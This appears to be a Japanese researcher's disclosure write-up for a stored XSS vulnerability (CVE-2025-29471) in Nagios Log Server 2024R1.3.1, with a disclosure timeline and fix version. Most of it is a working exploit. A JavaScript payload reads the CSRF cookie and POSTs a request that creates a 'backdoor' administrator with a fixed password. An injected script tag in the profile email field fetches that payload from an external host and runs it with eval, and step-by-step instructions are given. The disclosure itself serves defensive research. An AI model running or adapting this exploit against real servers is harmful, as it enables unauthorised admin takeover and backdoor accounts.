
Nagios Log Server 2024R1.3.1におけるStored XSS
2024R1.3.1 以下Nagios Log Server 2024R1.3.1 (デフォルト設定、Ubuntu 20.04)CWE-79CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H許可されたテストおよび研究目的に限ります。 自分が所有していない、または明示的なテスト許可を得ていないシステムでこの脆弱性をテストまたは悪用しないでください。
Nagios Log Server 2024R1.3.1 における格納型XSS脆弱性により、低権限ユーザーが自身のプロフィールの「email」フィールドに悪意のあるJavaScriptを注入できます。
管理者が監査ログを表示すると、ペイロードが実行され、権限昇格により不正な管理者アカウントが作成されます。
外部サーバーで以下の内容の xss.js ペイロードをホストします。Githubでも問題なく動作します。
<target-ip> をNagios Log ServerターゲットのIP/ホスト名に更新してください。
(function() {
console.log("🔥[XSS] Payload Executing...🔥");
var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
if (!csrfTokenMatch) return;
var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
console.log("[XSS] CSRF Token:", csrfToken);
var requestBody = "csrf_ls=" + csrfToken +
"&name=backdoor" +
"&[email protected]" +
"&username=backdoor" +
"&password=Password123!" +
"&password2=Password123!" +
"&auth_type=admin" +
"&apiaccess=1" +
"&language=en_US" +
"&account_type=local";
fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: requestBody
})
.then(response => response.text())
.then(function(data) {
console.log("🔥[XSS] User Created Successfully!🔥");
console.log(data);
})
.catch(console.error);
})();
通常(非管理者)ユーザーとして Nagios Log Server にログインします。
プロフィール更新エンドポイントに移動します。
http://<target-ip>/nagioslogserver/profile/update
次のペイロードをメールフィールドに注入します。fetch の行を xss.js が保存されているURLに更新してください。
<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
.then(response => response.text())
.then(scriptText => eval(scriptText))
.catch(console.error);
</script>
ユーザー名: backdoor
パスワード: Password123!
backdoor としてフル管理アクセスでログインします。Nagios Log Server 2024R2 をリリースNagios Log Server 2024R2 で格納型XSS脆弱性が解決されたことをテスト・確認し、Nagiosに報告CVE-2025-29471 を割り当てるが、ベンダーからのセキュリティアドバイザリが公開されていないため詳細は未公開のまま2024R1.3.2)をリリースし、格納型XSS脆弱性の修正を2024R1ブランチにバックポートCVE-2025-29471 が正式に公開されるこの作業は私の雇用外で行われ、サイバーセキュリティ研究における個人的な努力を反映したものです。